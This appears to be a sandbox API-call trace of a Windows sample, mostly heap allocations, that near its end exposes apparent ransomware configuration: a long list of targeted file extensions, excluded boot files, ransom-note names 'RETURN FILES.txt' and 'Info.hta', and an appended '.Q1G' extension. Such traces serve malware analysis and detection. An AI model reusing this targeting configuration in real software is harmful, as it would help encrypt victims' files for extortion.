0x549cb8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549cd0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549ce8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549d00 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d18 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549d30 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549d48 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d60 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d78 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d90 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5452e8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549da8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549dc0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549dd8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549fc8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549df0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549e08 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e20 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e38 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e50 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e68 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e80 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549e98 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549eb0 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549ec8 [0032.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ee0 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ef8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f10 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549f28 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f40 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f58 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f70 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549f88 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c468 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c480 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c498 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549fd8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x549fe8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4b0 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4c8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4e0 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c4f8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c510 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c528 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c540 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c558 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c570 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c588 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c5a0 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5b8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5d0 [0032.585] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x400) returned 0x549198 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c5e8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c600 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c618 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c630 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c648 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c660 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c678 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c690 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6a8 [0032.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6c0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x549ff8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c6d8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55c6f0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c708 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c720 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c738 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c750 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c768 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c780 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c798 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7b0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7c8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7e0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c7f8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c810 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c828 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a008 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c868 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c880 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c898 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8b0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8c8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8e0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c8f8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c910 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c928 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c940 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c958 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55c970 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c988 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9a0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9b8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9d0 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55c9e8 [0032.586] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ca00 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca18 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca30 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca48 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca60 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca78 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ca90 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55caa8 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cac0 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cad8 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55caf0 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb08 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb20 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb38 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb50 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb68 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb80 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cb98 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x55cbb0 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x545f00 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbc8 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbe0 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cbf8 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc10 [0032.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc28 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc68 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc80 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cc98 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ccb0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ccc8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cce0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ccf8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd10 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd28 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd40 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd58 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd70 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cd88 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cda0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cdb8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cdd0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cde8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ce00 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x55ce18 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55ce30 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a018 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce48 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a028 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce60 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce78 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ce90 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cea8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cec0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55ced8 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cef0 [0032.588] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf08 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf20 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf38 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf50 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf68 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x55cf80 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cf98 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54a038 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cfb0 [0032.589] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x55cfc8 [0032.589] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549198, Size=0x800) returned 0x55d450 [0032.589] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0032.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b448 | out: hHeap=0x510000) returned 1 [0032.589] lstrlenW (lpString="") returned 0 [0032.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dd90 | out: hHeap=0x510000) returned 1 [0032.589] lstrlenW (lpString=".Q1G") returned 4 [0032.589] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524750, Size=0x8) returned 0x524750 [0032.589] lstrlenW (lpString=".Q1G") returned 4 [0032.589] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dd90 | out: hHeap=0x510000) returned 1 [0032.589] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddc0, Size=0x20) returned 0x524370 [0032.589] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524370, Size=0x40) returned 0x546a80 [0032.589] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a80, Size=0x80) returned 0x56b450 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0a8, Size=0x8) returned 0x54a0b8 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0b8, Size=0x10) returned 0x55ddc0 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddc0, Size=0x20) returned 0x524348 [0032.590] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0032.590] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b450 | out: hHeap=0x510000) returned 1 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf0, Size=0x20) returned 0x545930 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545930, Size=0x40) returned 0x546a80 [0032.590] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0032.590] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0032.590] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546a80 | out: hHeap=0x510000) returned 1 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf0, Size=0x20) returned 0x545930 [0032.590] lstrlenW (lpString="Info.hta") returned 8 [0032.590] lstrlenW (lpString="Info.hta") returned 8 [0032.590] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.590] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57d440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe")) returned 0x30 [0032.590] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d440 | out: hHeap=0x510000) returned 1 [0032.590] lstrlenW (lpString="uyuquk.exe") returned 10 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x546a80 [0032.590] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf0, Size=0x20) returned 0x524348 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ddf0, Size=0x20) returned 0x545930 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545930, Size=0x40) returned 0x546ac8 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546ac8, Size=0x80) returned 0x56b450 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x55b448 [0032.591] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b448 | out: hHeap=0x510000) returned 1 [0032.591] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57d440, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0032.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d448 | out: hHeap=0x510000) returned 1 [0032.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d440 | out: hHeap=0x510000) returned 1 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0b8, Size=0x8) returned 0x54a0a8 [0032.591] lstrlenW (lpString="%windir%;") returned 9 [0032.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524348 | out: hHeap=0x510000) returned 1 [0032.591] lstrlenW (lpString="C:\\Windows;") returned 11 [0032.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d438 | out: hHeap=0x510000) returned 1 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55de08, Size=0x20) returned 0x524348 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x546ac8 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546ac8, Size=0x80) returned 0x56b450 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x55b448 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0e8, Size=0x8) returned 0x54a0f8 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0f8, Size=0x10) returned 0x55de50 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55de50, Size=0x20) returned 0x524348 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0b8, Size=0x8) returned 0x54a0f8 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0c8, Size=0x8) returned 0x54a0b8 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0e8, Size=0x8) returned 0x54a108 [0032.591] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a108, Size=0x10) returned 0x55def8 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55def8, Size=0x20) returned 0x545930 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0f8, Size=0x10) returned 0x55def8 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0b8, Size=0x10) returned 0x55df28 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a0f8, Size=0x8) returned 0x54a0e8 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a118, Size=0x8) returned 0x54a128 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55def8, Size=0x20) returned 0x5458e0 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55df28, Size=0x20) returned 0x545840 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a138, Size=0x8) returned 0x54a148 [0032.592] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0032.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b448 | out: hHeap=0x510000) returned 1 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dfa0, Size=0x20) returned 0x545958 [0032.592] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x56d438, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0032.592] lstrlenW (lpString="C:\\") returned 3 [0032.592] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d438 | out: hHeap=0x510000) returned 1 [0032.592] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a178, Size=0x82) returned 0x55b9b0 [0032.593] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a198, Size=0x100) returned 0x55ba40 [0032.593] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9b0, Size=0x104) returned 0x55bc68 [0032.593] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55ba40, Size=0x200) returned 0x55bd78 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a188 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bd78 | out: hHeap=0x510000) returned 1 [0032.594] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5c8 | out: hHeap=0x510000) 